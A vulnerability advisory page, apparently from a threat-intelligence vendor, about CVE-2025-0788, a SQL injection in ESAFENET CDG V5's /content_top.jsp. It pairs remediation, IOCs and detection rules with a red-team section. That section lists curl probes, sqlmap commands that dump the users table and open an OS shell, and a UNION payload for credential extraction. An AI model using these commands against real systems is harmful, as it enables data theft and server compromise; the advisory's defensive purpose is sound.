CVE-2025-0788
Executive Summary
CVE-2025-0788 is a critical SQL injection vulnerability discovered in ESAFENET CDG V5, specifically within the /content_top.jsp endpoint. The vulnerability allows an unauthenticated remote attacker to manipulate the id parameter, leading to arbitrary SQL query execution against the backend database. This can result in full data exfiltration, credential theft, and potential lateral movement within the network. The vendor has been contacted but has not responded, leaving the product in an unpatched state. A public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Java-based web application (ESAFENET CDG V5). The supply chain risk is limited to the direct use of this software by organizations.
CVSS Breakdown & Threat Level
CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – Exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – The vulnerable component is the database.
- Confidentiality (C): High – Full database read access.
- Integrity (I): High – Data can be modified or deleted.
- Availability (A): High – Database can be disrupted or destroyed.
Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority threat for any organization using ESAFENET CDG V5.
Deep Dive & Mechanics
The vulnerability resides in the /content_top.jsp page. This JSP file likely processes a request parameter named id to fetch and display content. The application fails to sanitize or parameterize this input before incorporating it into a SQL query.
Vulnerable Code Pattern (Conceptual):
String id = request.getParameter("id");
String query = "SELECT * FROM content WHERE id = " + id;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
The attacker can inject SQL commands by providing a malicious id value. For example:
/content_top.jsp?id=1 UNION SELECT username,password FROM users
This would return the contents of the users table alongside legitimate content. The database user likely has high privileges, allowing for data extraction, modification, or even command execution via xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL).
Attack Flow:
- Reconnaissance: Identify ESAFENET CDG V5 instances via Shodan or Google dorking.
- Probe: Send a request to
/content_top.jsp?id=1'to test for SQL errors. - Exploit: Use a SQL injection tool (e.g., sqlmap) to enumerate databases, tables, and columns.
- Exfiltrate: Dump sensitive data (user credentials, business data).
- Escalate: If the database user has file write permissions, attempt to write a web shell to the server.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
String id = request.getParameter("id");
String query = "SELECT * FROM content WHERE id = " + id;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
Patched Code (Conceptual):
String id = request.getParameter("id");
String query = "SELECT * FROM content WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, id);
ResultSet rs = pstmt.executeQuery();
The patched version uses a PreparedStatement with a parameterized query. This ensures the id value is treated as data, not executable SQL code. Since no official patch exists, organizations must implement this fix themselves or use a WAF.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: ESAFENET CDG V5 running on a Windows/Linux server with a backend database (likely MySQL or SQL Server).
- Attacker: Kali Linux with
sqlmapandcurl.
Exploitation Steps:
Identify the target:
curl -v "http://target.com/content_top.jsp?id=1"Confirm SQL injection:
curl "http://target.com/content_top.jsp?id=1'"Look for SQL error messages in the response.
Automated exploitation with sqlmap:
sqlmap -u "http://target.com/content_top.jsp?id=1" --batch --dbsExtract data:
sqlmap -u "http://target.com/content_top.jsp?id=1" -D cdg_db --tables sqlmap -u "http://target.com/content_top.jsp?id=1" -D cdg_db -T users --dumpAttempt OS shell (if database user has high privileges):
sqlmap -u "http://target.com/content_top.jsp?id=1" --os-shell
PoC Payload (Manual):
http://target.com/content_top.jsp?id=1 UNION SELECT 1,2,3,4,5,@@version
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for requests to
/content_top.jspwith unusualidparameters (e.g., containing SQL keywords likeUNION,SELECT,',--). - Deploy a WAF with rules to block SQL injection patterns.
- Use a database activity monitor (DAM) to detect anomalous queries.
- Harden the database by using a low-privileged account for the application.
Hunting Query (Splunk):
index=web_logs uri="/content_top.jsp" | search id=* | regex id=".*['\"].*|.*UNION.*|.*SELECT.*"
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/content_top.jspwithidparameter containing SQL syntax (e.g.,',UNION,SELECT,--). - Outbound database connections from the web server to unusual IPs (data exfiltration).
- Large response sizes from
/content_top.jsp(indicating dumped data).
File IOCs:
- Unexpected files in the web root (e.g.,
.jspor.aspwebshells). - Modified database files or logs.
Log IOCs:
- Web server logs showing repeated
500errors from/content_top.jsp. - Database logs showing queries with
UNIONorOR 1=1patterns.
Detection Engineering
YARA Rule
rule CVE_2025_0788_SQLi_Exploit {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-0788 in ESAFENET CDG V5"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0788"
strings:
$s1 = "/content_top.jsp?id=" ascii wide nocase
$s2 = "UNION" ascii wide nocase
$s3 = "SELECT" ascii wide nocase
$s4 = "'" ascii wide
$s5 = "--" ascii wide
condition:
$s1 and (any of ($s2, $s3, $s4, $s5))
}
Sigma Rule
title: SQL Injection Attempt Against ESAFENET CDG V5
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-0788 in ESAFENET CDG V5
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-0788
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-stem: "/content_top.jsp"
keywords:
- "id=*'"
- "id=*UNION"
- "id=*SELECT"
- "id=*--"
condition: selection and keywords
falsepositives:
- Legitimate use of single quotes in id parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0788 SQL Injection Attempt"; flow:to_server,established; content:"/content_top.jsp"; http_uri; nocase; pcre:"/id=[^&]*['\"]|id=[^&]*UNION|id=[^&]*SELECT|id=[^&]*--/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the ESAFENET CDG V5 server from the internet if possible.
- Apply a virtual patch using a WAF (e.g., ModSecurity) to block SQL injection patterns in the
idparameter. - Restrict database user privileges to the minimum required (e.g., no
FILE,CREATE, orDROPprivileges).
Long-Term Fix:
- Since the vendor is unresponsive, the application must be rewritten or replaced. If source code is available, implement parameterized queries (Prepared Statements) in
/content_top.jsp. - Migrate to a supported document management solution.
Compensating Controls:
- Enable detailed logging and monitoring for
/content_top.jsp. - Use a database firewall to block anomalous queries.
- Conduct a full security audit of the ESAFENET CDG V5 application.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert